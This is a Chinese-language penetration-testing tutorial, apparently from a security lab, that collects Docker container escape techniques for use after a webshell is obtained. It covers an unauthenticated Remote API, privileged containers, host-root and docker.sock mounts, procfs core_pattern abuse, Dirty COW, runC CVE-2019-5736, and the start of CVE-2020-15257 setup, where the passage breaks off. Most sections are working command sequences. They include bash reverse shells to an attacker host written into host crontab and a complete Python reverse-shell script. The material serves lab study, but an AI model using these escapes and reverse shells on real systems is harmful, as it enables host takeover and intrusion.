宸极实验室—『杂项』Docker 逃逸方法汇总
介绍:
Docker
逃逸方法汇总。
0x00 前言
在攻防中,拿到
webshell
后,发现自己是在
docker
容器中,拿到的并不是宿主机的权限,那我们就需要进一步渗透,就必须逃逸到宿主机中,拿到宿主机的权限。
复现关于配置错误导致的
docker
逃逸时,均使用的是
Ubuntu20.04.5
和最新版
docker
,在复现脏牛漏洞实现
Docker
逃逸、
runC
容器逃逸漏洞、
CVE-2020-15257
逃逸时,在环境搭建部分,有相关版本说明。下面就介绍各种docker逃逸方法:
0x01 如何判断当前机器是否为docker容器环境
1.1 检查根目录下是否存在.dockerenv文件
如果根目录下存在
.dockerenv
文件,说明是在
docker
容器中。
ls -al /

1.2 检查 /proc/1/cgroup 是否存在含有docker字符串
查询系统进程的
cgroup
信息,存在
docker
字段则是在
docker
容器中。
cat /proc/1/cgroup

0x02 Docker Remote API未授权访问逃逸
在使用
docker swarm
的时候,管理的
docker
节点上会开放一个
TCP
端口
2375
,默认绑定在
0.0.0.0
上,造成任何人都可以访问管理端的
2375
端口,任何人都可以远程控制管理的
docker
环境。
2.1 环境搭建
使用
vulhub
中的漏洞环境。
cd vulhub-master/docker/unauthorized-rce
docker-compose build
docker-compose up -d
2.2 漏洞验证
访问
version
和
info
界面,如果存在返回信息,说明漏洞存在。
http://192.168.59.147:2375/version
http://192.168.59.147:2375/info


2.3 漏洞利用
在利用之前,需要在中安装好
docker
,通过命令查看目标主机是否存在正在运行的
docker
镜像,结果为空,说明不存在正在运行的
docker
容器。
docker -H tcp://192.168.59.147:2375 ps

让目标主机拉取一个镜像。
docker -H tcp://192.168.59.147:2375 pull alpine

查看目标主机拉取的镜像。
docker -H tcp://192.168.59.147:2375 images

以特权模式,启动拉取的
alpine
镜像。
docker -H tcp://192.168.59.147:2375 run -it --privileged alpine /bin/sh

查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker
ls hacker/

首先在
kali
中使用
nc
监听,进入到
hacker
目录,通过
touch
创建一个
sh
文件,再将
bash
反弹命令写入到创建的
sh
文件里面,在编写计划任务到
/hacker/etc/crontab
文件中。
cd /hacker
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

返回到
kali
中进行查看,已成功接收到
shell
。

0x03 privileged特权模式启动容器逃逸
特权模式逃逸是一种最简单有效的逃逸方法,使用特权模式启动的容器时,
docker
管理员可通过
mount
命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过
chroot
切换根目录、写
ssh
公钥和
crontab
计划任何等逃逸到宿主机。
3.1 环境搭建
拉取一个镜像,在启用时使用
--privileged
。
docker pull ubuntu:16.04
docker run -itd --privileged ubuntu:16.04 /bin/bash

3.2 漏洞验证
判断是否是特权模式启动,如果是以特权模式启动的话,
CapEff
对应的掩码值应该为
0000003fffffffff
。
cat /proc/self/status |grep Cap

3.3 漏洞利用
在
docker
容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。
fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker

首先在
kali
中使用
nc
监听,进入到
hacker
目录,通过
touch
创建一个
sh
文件,再将
bash
反弹命令写入到创建的
sh
文件里面,在编写计划任务到
/hacker/etc/crontab
文件中。
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

返回到
kali
中进行查看,已成功接收到
shell
。

0x04 危险挂载导致Docker逃逸
在启动
docker
容器时,将服务器中的根目录或敏感目录挂载到容器中时,可能会造成
docker
逃逸。
4.1 环境搭建
docker pull ubuntu:16.04
docker run -itd -v /:/hacker ubuntu:16.04 /bin/bash
docker exec -it e3a95344a65d bash

4.2 漏洞利用
进入到
hacker
目录,查看是否将宿主机的根目录挂载到
/hacker
目录中,挂载成功之后,接下来就可以通过写计划任务反弹
shell
,这里就不再演示,反弹
shell
方法参考上面反弹
shell
步骤。
cd hacker/
ls

0x05 挂载Docker Socket逃逸
在启动
docker
容器时,将宿主机
/var/run/docker.sock
文件挂载到
docker
容器中,在
docker
容器中,也可以操作宿主机的
docker
。
Docker
采用
C/S
架构,我们平常使用的
Docker
命令中,
docker
即为
client
,
Server
端的角色由
docker daemon
扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标
docker
,使用
docker
命令,操作
docker
:
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd
5.1 环境搭建
docker pull ubuntu:16.04
docker run --rm -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:16.04 /bin/bash

5.2 漏洞验证
如果存在这个文件,说明漏洞可能存在。
find / -name docker.sock

5.3 漏洞利用
在
docker
容器中安装
docker
。
apt-get update
apt-get install docker.io

在
docker
容器中,使用命令查看宿主机拉取的镜像。
docker -H unix://var/run/docker.sock images

在
docker
容器中,使用命令再运行一个
docker
容器,将宿主机的根目录挂载到
ubuntu:16.04
的
test
目录中,造成
docker
逃逸,在通过写计划任务方式,反弹
shell
,这里不在演示反弹
shell
过程。
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash
ls /test

0x06 挂载宿主机procfs逃逸
procfs
中的
/proc/sys/kernel/core_pattern
负责配置进程崩溃时内存转储数据的导出方式,如果
/proc/sys/kernel/core_pattern
文件中的首个字符是管道符
|
,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。当利用这种方式进行
docker
逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。
6.1 环境搭建
启动容器,将
/proc/sys/kernel/core_pattern
挂载到容器中的
/host/proc/sys/kernel/core_pattern
位置。
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu:16.04

6.2 漏洞验证
如果找到两个
core_pattern
文件,那可能就是挂载了宿主机的
procfs
。
find / -name core_pattern

6.3 漏洞利用
当启动一个容器时,会在
/var/lib/docker/overlay2
目录下生成一层容器层,容器层里面包括
diff、link、lower、merged、work
目录,而
docker
容器的目录保存在
merged
目录中,通过命令找到当前容器在宿主机下的绝对路径,
workdir
代表的是
docker
容器在宿主机中的绝对路径。
cat /proc/mounts | grep docker

安装
vim
和
gcc
。
apt-get update -y && apt-getinstall vim gcc -y
创建一个反弹
Shell
的
py
脚本。
vim /tmp/.t.py
#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.59.145"
lport = 6666
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()
我们修改
/host/proc/sys/kernel/core_pattern
文件以达到修改宿主机
/proc/sys/kernel/core_pattern
的目的。
chmod 777 /tmp/.t.py
echo -e "|//var/lib/docker/overlay2/559aa75e1fbf3659f9f229f5d7e7e6c4ce4ec1cb2a8c42d3d07476c42148a567/merged/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern

在
kali
中使用
nc
进行监听,然后在容器里创建一个可以崩溃的程序,编译之后并运行。
vim t.c
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
gcc t.c -o t
./t

返回到
kali
中进行查看,已成功接收到
shell
。

0x07 脏牛漏洞实现Docker逃逸
当宿主机存在
Dirty Cow(CVE-2016-5195)
漏洞时,利用该漏洞,可实现
Docker
容器逃逸,获得
root
权限的
shell
。
7.1 环境搭建
使用
Ubuntu
的
14.04.5
版本进行复现,该版本是存在脏牛漏洞的,执行下面命令之前需要安装好
docker
和
docker-compose
。
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
7.2 漏洞利用
在
kali
中开启监听,进入到
dirtycow-vdso
目录,编译之后,并执行。
cd /dirtycow-vdso
./0xdeadbeef 192.168.59.145:6666

返回到
kali
中进行查看,已成功接收到
shell
。

0x08 runC容器逃逸漏洞
2019
年
2
月
11
日,
runc
的维护团队报告了一个新发现的漏洞,该漏洞最初由
Adam Iwaniuk
和
Borys Poplawski
发现。该漏洞编号为
CVE-2019-5736
,漏洞影响在默认设置下运行的
docker
容器,并且攻击者可以使用它来获得主机上的
root
级访问权限。
8.1 影响版本
docker version <= 18.09.2
RunC version <= 1.0-rc6
8.2 环境搭建
使用
Ubuntu
的
16.04.7
版本进行复现,通过下面命令安装指定版本
docker
。
apt-get update
apt-get install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
apt-get update
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

安装完
docker
之后,拉取
ubuntu16.04
的
docker
容器,并运行。
docker pull ubuntu:16.04
docker run -it ubuntu:16.04

8.3 漏洞利用
在
kali
中下载
exp
,并进行编辑,在
var payload
所在行中添加
bash
反弹命令。
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd CVE-2019-5736-PoC
vim main.go


修改完之后,进行编译。
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

重新打开一个终端,查看正在运行的
docker
容器,并将编译生成的
main
文件,拷贝到
ubuntu:16.04
容器中的
tmp
目录中。
docker ps
docker cp main cfb1c24d8c58:/tmp

在
docker
容器中,给
tmp
目录中的
main
文件提升权限,并运行。
cd /tmp
chmod 777 main
./main

假装为宿主机管理员,现在进入到该容器中,运行完命令之后,会提示
No help topic for '/bin/bash'
,这时并没有进入到
docker
容器中。
docker exec -it cfb1c24d8c58 /bin/bash

这时再到
docker
容器中进行查看,发现
exp
已被执行。

返回到
kali
中进行查看,已成功接收到
shell
。

0x09 CVE-2020-15257逃逸
由于在
host
模式下,容器与
host
共享一套
Network namespaces
,此时
containerd-shim API
暴露给了用户,而且访问控制仅仅验证了连接进程的有效
UID
为
0
,但没有限制对抽象
Unix
域套接字的访问。所以当一个容器
root
权限,且容器的网络模式为
--net=host
的时候,通过
ontainerd-shim API
可以达成容器逃逸的目的。
9.1 影响版本
containerd < 1.4.3
containerd < 1.3.9
9.2 环境搭建
使用
Ubuntu
的
16.04.7
版本进行复现,通过下面命令安装指定版本
docker
。
apt-get update
apt-get install ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"